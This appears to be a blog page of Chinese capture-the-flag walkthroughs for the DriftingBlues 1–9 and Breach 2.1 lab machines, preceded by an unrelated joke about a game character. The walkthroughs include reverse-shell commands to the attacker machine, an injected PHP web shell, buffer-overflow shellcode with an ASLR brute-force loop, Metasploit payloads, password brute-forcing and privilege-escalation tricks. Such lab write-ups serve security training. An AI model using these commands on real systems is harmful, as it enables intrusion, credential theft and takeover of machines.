关于泰拉大陆第一拖拉机骑手再被加强那些事
关于泰拉大陆第一拖拉机骑手再被加强那些事
“风笛已经是版本T0打野了,还要加强,还加强两波,策划玩不玩游戏啊!明日方舟设计师,你看看她!” ——刚走出MSI氛围的呱呱如是说到
“风笛已经是版本T0打野了,还要加强,还加强两波,策划玩不玩游戏啊!明日方舟设计师,你看看她!” ——刚走出MSI氛围的呱呱如是说到
名称:DriftingBlues:9(final)
发布日期:2021.5.9
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
root:/root/root.txt
难度:困难
文件名:driftingblues9.ova
文件大小:738MB
下载地址:
MD5: DB7D1B48224F802666B07693ACD7CDB4
SHA1: CD8C690150B48AC4AB9E6A3D56A4F12F110C78C1
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues9和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现开放了80和111端口,访问主页查看源码,发现是一个ApPHP页面:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.120 | tee nmapscan,端口扫描
3.最后再进行一下目录扫描,发现好些目录,但也没有进一步有价值的信息:
1 gobuster dir -u http://192.168.56.120 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.在主页面能够发现一个admin登录页面:
2.因为源码提示了我们ApPHP的相关信息,我们可以去Exploit-db(https://www.exploit-db.com/exploits/33070)查找到相关漏洞利用:
3.执行相关python程序,我们可以获得较基础的权限:
1 python 33070.py http://192.168.56.120
1.利用得到的用户我们可以查看/var/www/include/base.inc.php文件下,有clapton用户及其密码,其实上面程序已经爆出来了:
2.此时我们要先想办法建立交互式shell,先在kali开启端口监听,再利用靶机端返回shell:
1
2
3
4 nc -lvnp 4444,kali开启端口监听
which nc,靶机返回shell
nc 192.168.56.102 4444 -e /bin/bash
python -c 'import pty;pty.spawn("/bin/bash");',kali再使用python建立交互式shell
3.现在我们可以先确认clapton用户的存在,再进行登录了:
1 cat /etc/passwd,确认存在clapton
1.在clapton用户目录下,我们能发现第一个flag,user.txt,而另一个note.txt文件查看后是关于缓冲区溢出的提示:
2.除了两个txt文本文件以外,还有一个input文件,这个文件用file命令查看后,明显是要对这个文件进行缓冲区溢出提权:
1 file input
3.我们将input文件获取到本地,用checksec查看,该文件并没有启用任何保护措施:
1
2
3 python -m SimpleHTTPServer 8001,clapton开启http服务(尝试使用了python3 -m http.server 8001,发现靶机没有python3)
wget http://192.168.56.120:8001/input,kali获取input
checksec --file=input
4.使用命令修改input文件所有者,并赋予程序特殊权限:
1
2
3 sudo chown 0:0 input
sudo chmod 4755 input
ls -l
5.使用cyclic生成500个字符组成的字符串用于计算偏移量:
1
2
3 python3
from pwn import *
cyclic(500)
6.然后关闭kali的ASLR,启动gdb调试input程序,将500个字符组成的字符串传入程序并运行后程序奔溃,EIP寄存器的值为“0x61617362”:
1
2
3
4 sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
gdb input
r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
7.再次利用cyclic计算偏移量得到171,那么payload构造为“171个A”+“jmp esp地址”+Shellcode:
1 cyclic_find(0x61617362)
8.在kali使用edb-debugger,随便传入参数调试程序,运行程序后Ctrl+O寻找jmp esp指令地址:
9.选择r-x权限下的第一个jmp esp地址,写入payload,在kali上可以成功获得root权限:
1 ./input `python -c "print 'A'*171+'\x70\xbe\xe0\xf7'+'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'"`
10.但同样的payload在clapton用户上并不能起效,原因是靶机开启了ASLR而我们无权限关闭,且靶机的偏移地址是jmp esp相对libc基址的偏移地址,kali下的libc.so.6文件与靶机不同;所以这里我们采用循环绕过ASLR:
1
2
3
4 gdb ./input,在clapton上测定偏移地址
run $(python -c 'print "A" * 171 + "B" * 5 + "\x90" * 2000'),在kali上我们已经测得程序溢出位置偏移量为171,clapton上也如此
x/s $esp,得到jmp esp相对libc基址的偏移地址
q y,退出gdb调试
1 for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "\xe0\xd6\x9e\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')); done,循环绕过ASLR
1.通过利用缓冲区溢出漏洞,我们成功提权到root,在/root目录下能够找到flag,即root.txt:
1
2
3 cd /root
ls -la
cat root.txt
名称:DriftingBlues:7
发布日期:2021.4.21
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
root:/root/flag.txt
难度:中等
文件名:driftingblues7_vh.ova
文件大小:1.3GB
下载地址:
MD5: DB16D916B288F8A6440D17046EE99064
SHA1: 39824D3EB1D8DA9118A12463B19503D93903B038
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(centos)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues7和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现很多端口都是开放的,访问主页查看源码,发现是一个EyesOfNetwork的登录页:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.119 | tee nmapscan,端口扫描
3.最后再进行一下目录扫描,爆出的目录我们都无法访问,必须要先登录:
1 dirb https://192.168.56.119,目录扫描
1.因为开放了多个端口,我们逐一进行访问,访问192.168.56.119:66,源码内没有过多线索:
2.我们对66端口下的目录再次进行扫描,直接扫出了一个flag.txt文件:
1 gobuster dir -u http://192.168.56.119:66 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,对66端口下目录扫描
1 curl http://192.168.56.119:66/flag.txt
3.这个应该是作者忘记删除的flag文件了,其实应该是想让我们发现eon这个文件:
4.查看eno文件,发现是一串base64编码,解码后发现格式是压缩文件的格式,于是把它解码为application.zip(这里用到了这个在线工具:https://base64.guru/converter/decode/file):
1 curl http://192.168.56.119:66/eon
1 echo UEsDBBQAAQAAAAOfg1LxSVvWHwAAABMAAAAJAAAAY3JlZHMudHh093OsvnCY1d4tLCZqMvRD+ZUURw+5YmOf9bS11scvmFBLAQI/ABQAAQAAAAOfg1LxSVvWHwAAABMAAAAJACQAAAAAAAAAIAAAAAAAAABjcmVkcy50eHQKACAAAAAAAAEAGABssaU7qijXAYPcazaqKNcBg9xrNqoo1wFQSwUGAAAAAAEAAQBbAAAARgAAAAAA | base64 -d
5.利用zip2john对application.zip进行解密,再用john得到密码,查看creds.txt获得用户和密码:
1
2 zip2john application.zip | tee hash
john hash --wordlist=/home/kali/Desktop/rockyou.txt
1.利用得到的用户和密码登录EyesOfNetwork后台,发现在Help-EyesOfNetwork页可以发现EyesOfNetwork的版本为5.3:
2.可以找到这个版本的漏洞利用文件,https://github.com/h4knet/eonrce/blob/master/eonrce.py,获取下来可以直接利用:
1
2
3 wget https://raw.githubusercontent.com/h4knet/eonrce/master/eonrce.py
chmod +x eonrce.py
./eonrce.py https://192.168.3.146/ -ip 192.168.3.145 -port 4444,这里要改一下靶机和kali的网络链接方式,改为桥接模式,命令执行的是桥接模式的ip
1.现在我们可以在/root目录下,能够找到flag,即flag.txt:
1
2
3 cd /root
ls -la
cat flag.txt
名称:DriftingBlues:6
发布日期:2021.3.30
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
firefart:/root/flag.txt
难度:简单
文件名:driftingblues6_vh.ova
文件大小:395MB
下载地址:
MD5: 1EF3EF660B6E129CCA3D93F8FBA0C94D
SHA1: 01EDAC6D7FFAD8B6487DD4DCE021CCFFD0250CE8
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues6和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现只开放了80端口,访问主页查看源码,没有过多线索:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.118 | tee nmapscan,端口扫描
3.最后再进行一下目录扫描,发现有robots.txt文件:
1 gobuster dir -u http://192.168.56.118/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.访问192.168.56.118/robots.txt,得到/textpattern/textpattern目录存在的提示,同时提心我们关注.zip文件内容:
2.继续访问192.168.56.118/textpattern/textpattern,发现是一个textpattern的管理后台登录页:
3.根据提示,再次扫描目录,这次以.zip文件为主,找到spammer.zip:
1 gobuster dir -u http://192.168.56.118/ -x zip --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录下.zip文件扫描
4.利用fcrackzip对spammer.zip进行破解,可以得到zip内的一对用户名即密码:
1 fcrackzip -D -p rockyou.txt -u /home/kali/Downloads/spammer.zip
1.利用得到的用户和密码登录textpattern管理后台,发现在Content-File可以上传文件:
2.我们可以上传kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,修改ip及端口:
1 vim /usr/share/webshells/php/php-reverse-shell.php
3.在kali开启对应的端口监听,然后访问192.168.56.118/textpattern/files/php-reverse-shell.php触发:
1 nc -lvnp 9001
1 python -c 'import pty; pty.spwan("/bin/bash");',利用python建立交互式shell
1.获取shell后,我们可以查看靶机系统内核,发现版本为3.2.78:
1 uname -a
2.在kali上可以利用searchsploit搜索该版本漏洞,并且有对应的利用程序:
1 searchsploit linux 3.2.78
3.获取利用程序后,我们可以查看,发现程序可以修改靶机内核版本下linux用户的登录密码:
1
2 searchsploit -m 40839.c
cat 40839.c
4.再次通过textpattern后台上传40839.c,并在靶机/var/www/textpattern/files目录下对其编译,运行生成程序后修改密码:
1
2
3
4
5 cd /var/www/textpattern/files
gcc -pthread 40839.c -o 40839 -lcrypt
./40839
123,修改后的password
1.现在我们可以利用修改后的密码登录firefart用户:
1 su firefart
2.在/root目录下,能够找到flag,即flag.txt:
1
2
3 cd /root
ls -la
cat flag.txt
名称:DriftingBlues:5
发布日期:2021.3.8
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
gill:/~/user.txt
root:/root/root.txt难度:困难
文件名:driftingblues5_vh.ova
文件大小:715MB
下载地址:
MD5: 21E0290277C1523B3E9DEF173EA0FA66
SHA1: 371C270F8D2C8F65436F9BD52485E2128FC6365B
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues5和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现只开放了22和80端口,访问主页查看源码,确定是wordpress搭建的页面:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.117 | tee nmapscan,端口扫描
3.最后再进行一下目录扫描,都是wordpress相关的目录内容:
1 gobuster dir -u http://192.168.56.117/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.扫描得到的结果都指向wordpress,则用wpscan进行扫描,可以得到5个用户及其密码:
1 wpscan --url http://192.168.56.117 --detection-mode aggressive -e --passwords=/home/kali/Desktop/rockyou.txt
2.但是如果使用rockyou.txt作为密码字典要跑出对应密码相当消耗时间,合理可以用cewl生成一个较小的字典,能够得到gill用户的密码:
1
2 cewl -m 6 -w drift.txt http://192.168.56.117
wpscan --url http://192.168.56.117 --detection-mode aggressive -e u -P drift.txt
3.进入wordpress管理后台,利用gill登录,但gill用户的权限不够,无法从wordpress后台写入webshell:
1.回到主页,结合目录扫描的结果,我们能在http://192.168.56.117/wp-content/uploads/2021/02/目录下发现主页调用的图片,其中dblogo.png是唯一没被使用到的图片,我们可以用exiftool查看一下:
1 exiftool /home/kali/Downloads/dblogo.png
2.得到了ssh的密码,我们尝试登录一下,发现其实就是全小写,并且找到第一个flag,user.txt:
1.可以发现文件夹有keyfile.kdbx这个密码库文件,把这个文件获取到kali,用keepass2john解一下:
1
2
3 python3 -m http.server 8001,gill开启http服务
wget http://192.168.56.117:8001/keyfile.kdbx,kali获取密码库文件
keepass2john keyfile.kdbx | tee hash
1 John hash –wordlist=rockyou.txt
2.得到的porsiempre并不是root的密码,我们再把keyfile.kdbx放在https://app.keeweb.info/打开,得到的6个密码也不是root密码:
3.回到gill用户下,查看具有sudo权限的应用,没有发现明显可用的应用:
1 find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
4.利用linpeas.sh进行扫描,发现root下有/keyfolder这个目录:
1
2
3
4 python3 -m http.server 8001,kali开放http服务
wget http://192.168.56.102:8001/linpeas.sh,gill获取linpeas工具
chmod +x linpeas.sh
./linpeas.sh
5.我们查看/keyfolder这个目录,发现有其他用户可以在这个目录下写入:
6.再利用pspy64s监视进程,发现/root/key.sh这个进程是定时执行的:
1 wget http://192.168.56.102:8001/pspy64s,gill获取pspy64s
7.那么我们可以边让pspy64s进行监听,进入/keyfolder目录,将之前keyfile.kdbx内的密码一个个尝试,等待pspy64s监听到key.sh的一次执行,没有获得文件,就删去尝试的密码文件:
8.rootcreds.txt的内容就是root用户的密码,提权后在/root目录下能够找到第二个flag,即root.txt:
名称:DriftingBlues:4
发布日期:2021.3.8
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
hubert:/~/user.txt
root:/root/root.txt难度:简单
文件名:driftingblues4_vh.ova
文件大小:603MB
下载地址:
MD5: EEEA3E2332E41CE013245F18C4D4D226
SHA1: ED30008E15B83F641B1078DD84CBD747AC2141FF
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues4和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现开放了21,22和80端口,访问主页查看源码,有一串base64编码:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.116 | tee nmapscan,端口扫描
3.最后再进行一下目录扫描,没有什么太多发现:
1 gobuster dir -u http://192.168.56.116/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.对得到的base64编码字串进行四次解码,得到路径/imfuckingmad.txt:
2.访问后得到一串brainfuck编码,进行解码得到/iTiS3Cr3TbiTCh.png:
3.访问图片路径,是一张二维码,扫描二维码跳转到一张图片,图片内有几个用户名:
1.根据之前base64解码的提示,开始用得到的用户名进行ftp爆破:
1 hydra -l luther -P rockyou.txt ftp://192.168.56.116
2.登录成功后发现的确还有hubert这个用户,发现该用户下没有.ssh目录,则可以创建.ssh目录,然后把kali的公钥上传,进行ssh免密登录:
1
2
3 cd hubert
mkdir .ssh
put authorized_keys
3.登录hubert后,我们可以在目录下找到第一个flag,user.txt:
1.可以发现文件夹下还有一个python文件,查看一下,程序是将1写入/tmp/backdoor_testing:
2.我们利用pspy64s工具进行进程检测,发现emergency.py是被定时执行的,那么我们将原有的emergency.py删除,新建一个用于提权的同名文件:
1
2
3
4 python3 -m http.server 8001,kali开启http服务
wget http://192.168.56.102:8001/pspy64s,hubert获取pspy64s工具
chmod +x pspy64s
./pspy64s
1
2 rm -f emergency.py
vi emergency.py
3.在kali开启对应的端口监听,过一会就能收到root权限,在/root目录下能够找到第二个flag,root.txt:
名称:DriftingBlues:3
发布日期:2021.3.6
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
robertj:/~/user.txt
root:/root/root.txt难度:简单
文件名:driftingblues3.ova
文件大小:483MB
下载地址:
MD5: 987D997BC77205B54C61A9CDF745A73A
SHA1: DE17551E53C73792B41A190B1302DF78411A65B1
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues3和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现开放了22和80端口,访问主页查看源码,没有什么发现:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.115 | tee nmapscan,端口扫描
3.最后再进行一下目录扫描,发现有好几个可疑目录:
1 gobuster dir -u http://192.168.56.115/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.访问192.168.56.115/robots.txt,进一步访问/eventadmins,告知我们ssh有问题,再访问/littlequeenofspades.html,源码里有一串base64编码字符:
2.对字符串解码两次,发现是一个路径/adminsfixit.php,继续访问,发现一个ssh auth log文件:
3.仔细观察,发现输出了我们的验证信息,也就是ssh相关的输出会回显在这个页面上,我们可以尝试写入shell:
1 ssh '<?php system($_GET["cmd"]); ?>'@192.168.56.115,kali注入webshell
1 view-source:http://192.168.56.115/adminsfixit.php?cmd=cat%20/etc/passwd
4.在kali开启端口监听,对http://192.168.56.115/adminsfixit.php?cmd=nc%20-e%20/bin/bash%20192.168.56.102%201234访问触发shell:
1.我们可以查看/home/robertj目录,下面有第一个flag,user.txt,但是我们无权查看:
2.查看同目录下的.ssh目录,发现里面没有rsa等文件,则我们可以生成rsa并将私钥复制到kali用于免密登录:
1
2 cd .ssh
ssh-keygen -t rsa,注意生成目录的修改
1 cat rsa_key.pub > authorized_keys,将公钥写入authorized_keys
3.在kali使用私钥ssh登录,可以查看user.txt:
1
2 chmod 400 priv_key,添加权限
ssh robertj@192.168.56.115 -I priv_key
1.查看具有sudo权限的应用,发现getinfo可以利用:
1 find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
2.我们执行getinfo发现可以返回一些主机的IP信息hosts文件和os信息,那么应该是执行了ip a、cat /etc/hosts、uname -a的命令:
3.我们创建一个可以执行提权的uname文件进行提权,可以在/root目录下看到第二个flag,root.txt:
1
2
3
4
5 cd /tmp
echo "/bin/bash" > uname
chmod +x uname
export PATH=/tmp:$PATH
getinfo
名称:DriftingBlues:2
发布日期:2020.12.17
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
freddie:/~/user.txt
root:/root/root.txt难度:简单
文件名:driftingblues2.ova
文件大小:638MB
下载地址:
MD5: 51E9326E61C922CD7EA3A5C2AEB25C83
SHA1: 5444B91703E9B4D9BE48849A7816E369294376BA
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现开放了21,22和80端口,访问主页查看源码,没有什么发现:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.114 | tee nmapscan,端口扫描
3.最后再进行一下目录扫描,发现有/blog这个目录:
1 gobuster dir -u http://192.168.56.114/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.访问192.168.56.114/blog,很明显需要添加host解析:
2.因为主页有提示是用wordpress搭建的,添加解析后访问wordpress后台页,可以利用wpscan进行用户名及密码的爆破:
1 wpscan --url http://driftingblues.box/blog -e u,爆破用户
1 wpscan --url http://driftingblues.box/blog/ --passwords rockyou.txt --usernames albert,爆破密码
1.登录进后台后,在Appearance-Theme Editor-404.php页写入修改后的kali自带webshell,/usr/share/webshells/php/php-reverse-shell.php,同时在kali开启监听端口,访问不存在页面触发webshell:
1 vim /usr/share/webshells/php/php-reverse-shell.php,修改webshell
2.获得shell后,我们能在/freddie目录下发现user.txt,但我们没有权限查看:
1.我们可以发现在/freddie目录下有.ssh目录,里面有freddie用户的密钥:
2.我们将id_rsa保存至kali,并使用此密钥进行登录freddie,获得第一个flag:
1.使用sudo -l 查看是否可以以root权限执行命令,发现可以用nmap,那么使用nmap提权即可:
1
2 echo 'os.execute("/bin/bash")' >getshell
sudo nmap --script=getshell,这里提权后没有命令输入显示
名称:DriftingBlues:1
发布日期:2020.12.11
作者:tasiyanci
系列:DriftingBlues
推特:@tasiyanci
Flags:
eric:/~/user.txt
root:/root/root.txt难度:中等
文件名:driftingblues.ova
文件大小:2.7GB
下载地址:
MD5: EF2FCBFF3647CA3C46529CACADD474C2
SHA1: 6CA2A8999AC3881C0186DE534F846D56035C2AE3
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(ubuntu)
DHCP服务:可用
IP地址:自动分配
1.将靶机driftingblues和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.3.134:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.3.134/24,扫描靶机ip
2.再进行端口扫描,发现只开放22和80端口,访问主页查看源码,发现一串base64编码:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.3.138 | tee nmapscan,端口扫描
3.最后再进行一下目录扫描,发现只有很简单的几个目录:
1 gobuster dir -u http://192.168.3.137/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.将主页源码的base64编码字串解码后,得到一个文本文件,访问发现是一段Ook加密:
2.解密Ook文本后得到提示要添加host,在主页上能发现域名信息:
3.再进行子域名暴力破解,得到test.driftingblues.box再次修改host:
1 gobuster vhost -u driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
4.访问test.driftingblues.box,再次进行目录扫描,发现robots.txt文件:
1 dirb http://test.driftingblues.box
1.我们访问robots.txt文件可以发现还有ssh_cred.txt文件,在ssh_cred.txt中提示我们ssh的密码:
2.先用crunch生成密码字典,在用hydra进行ssh登录破解,eric多次出现,很可能是用户名:
1 crunch 13 13 -f /usr/share/crunch/charset.lst numeric -t 1mw4ckyyucky@ > password.dic
1 hydra -l eric -P password.dic -t 10 ssh://192.168.3.138
3.ssh登录后,在当前目录下发现了第一个flag,即user.txt:
1.在/var/backups目录下,我们查看文件权限,发现backup.sh的属主和属组都是root:
2.查看backup.sh,其实就是用zip命令把/var/www目录下的所有内容打包为/tmp/backup.zip,然后sudo /tmp/emergency,的确在/tmp中找到了这个压缩文件,但是并没有找到emergency,那我们可以写一个能提权的/tmp/emergency即可:
1
2
3
4 cd /tmp
vi emergency
echo "eric ALL=(ALL:ALL) ALL" >> /etc/sudoers
chmod +x emergency
3.利用pspy64s可以发现backup.sh是一个定时执行的进程,那么我们等待一会就可以进行提权,获得第二个flag:
1
2
3
4 python3 -m http.server 8001,kali开启http服务
wget http://192.168.3.138:8001/pspy64s,eric获取pspy64s
chmod +x pspy64s
./pspy64s
名称:Breach 2.1
发布日期:2016.8.15
作者:mrb3n
系列:Breach
推特:@mrb3n813
Flags:
root:/root/.flag.py
难度:中等
文件名:Breach-2_final2.1.zip
文件大小:1.3GB
下载地址:
MD5: 90E8871E8EB68ADBEB82659FE1F11831
SHA1: 069B529B6701FDF9F82840F9918842921FFB7A1E
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:禁用
IP地址:192.168.110.151
1.将靶机Breach2在Vmware下设置为仅主机模式,并修改ip为192.168.110.151,这里演示的是mac环境下Vmware Fusion 11,只能命令修改host-only的ip(记得备份),命令如下:
1 sudo vi /Library/Preferences/VMware\ Fusion/networking
2.将攻击机kali2021也选择用仅主机模式链接,启动,保证与靶机Breach在同一网段下,这里kali2021的ip为192.168.110.2。
1.Kali2021先用nmap对192.168.110.151(Breach2)扫描,发现SSH端口不是22而修改为了65535:
1 nmap -A -p- 192.168.110.151 (端口扫描)
2.尝试访问ssh,命令为:ssh 192.168.110.151 -p 65535,会发现被告知Peter用户密码就在源码内,于是尝试用peter链接,密码inthesource,可以成功链接,但很快就被断开:
3.再次使用nmap基础扫描,发现80端口开放了,可以进行访问,而访问页面查看源码并没有多余线索,但是页面图片是BEEF,算是提示吧:
1.使用命令:dirb http://192.168.110.151/,爆破网站目录,发现跟之前ssh提示相关的blog目录:
2.我们访问后发现是博客页,且有搜索框,明显有XSS,这里进一步可以用sqlmap进行数据库爆破,但我们暂且没有登录窗口:
3.使用BeEF,在博客的注册页提交payload,返回主页点开消息提示触发,可以观察到主机已经上线,并且得到靶机浏览器为Firefox 15,有可利用漏洞:
1.启动msfconsole来利用漏洞:
1
2
3
4
5
6 use exploit/multi/browser/firefox_proto,进入要利用的exp框架
set payload generic/shell_reverse_tcp,设置要利用exp所需要的payload
set srvhost 192.168.110.2,设置exp所需要的服务端地址,也就是攻击机的ip
set uripath shell,设置exp攻击成功之后的url目录
set lhost 192.168.110.2,设置payload的ip地址
run,启动一次攻击,生成利用的url连接
2.利用BeEF的Redirect Browser模块,输入之前msf生成的url,得到session:
3.因为浏览器的shell会在连接了5秒钟之后失效,所以要在获取到session之后,将迁移shell进程到meterpreter中,获得一个稳定的shell,再次在BeEF中按下execute,得到session后立刻输入命令:
1
2
3 use post/multi/manage/shell_to_meterpreter,进入到转移shell用的模块
set session 2,设置要转义的session号,这里我是session 2
run,启动转移,成功转义,获得稳定的shell,session 3
4.使用session 3,构造shell:
1
2 sessions -i 3
python -c 'import pty;pty.spawn("/bin/bash")',获得标准shell
1.继续收集信息,查看电脑开启的端口,发现一个不常见的2323端口,可以尝试链接一下,得到的是一个地理坐标:
2.这个地理坐标是休斯敦(Houston)的一个公园,很有可能是一个密码信息,而我们之后对帐户进行搜寻,发现了一个milton的帐户:
3.随即想到使用telnet登录milton,密码为Houston,但之后又有问题:
4.只能再去milton用户目录去寻找线索,在用户目录下发现了cd.py文件,查看源码知道刚才问题的答案是mine:
5.重新利用telnet登录milton,再次查看端口开放,发现有8888端口开放,有OScommerrce页面,且可以访问管理页面:
1.首先管理页面用admin帐户登录,密码也是admin,算是一个弱口令,其实之前利用sqlmap就已经爆破出来了:
2.进入管理后台,发现Tools – File Manager – includes – work是有写入权限的,我们可以用msf制作一个反弹shell,进行上传:
3.msf生成反弹shell:
1
2
3
4
5
6
7 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.2 LPORT=5555 -f raw > shell.php,生成反弹shell脚本
msfconsole
use exploit/multi/handler,切换exp模块
set payload php/meterpreter/reverse_tcp,使用payload为之前生成后门所用的payload
set lhost 192.168.110.123,设置用来接收shell的ip
set lport 5555,就是之前生成后门所设置的端口
run,启动exp,等待接收shell
4.把生成的shell.php上传到work目录下,对shell.php进行访问后,可以看到msf能够进行shell,且登录用户为blumbergh:
1.开始进行提权,输入命令:sudo -l,发现root不需要密码的命令为tcpdump:
2.那么可以利用tcodump进行提权,命令如下:
1
2
3
4 nc -lvvp 1993,kali2021开启一个监听端口
echo "nc 192.168.110.2 1993 -e /bin/bash"> /tmp/shell.sh,在/tmp目录下写入shell.sh脚本
chmod +x /tmp/shell.sh,给shell.sh脚本执行权限
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root,使用tcpdump命令
3.进入/root目录下,寻找flag,这里全是隐藏文件,命令如下:
1
2
3 cd /root,进入root目录
ls -la,查看隐藏文件
python .flag.py,显示flag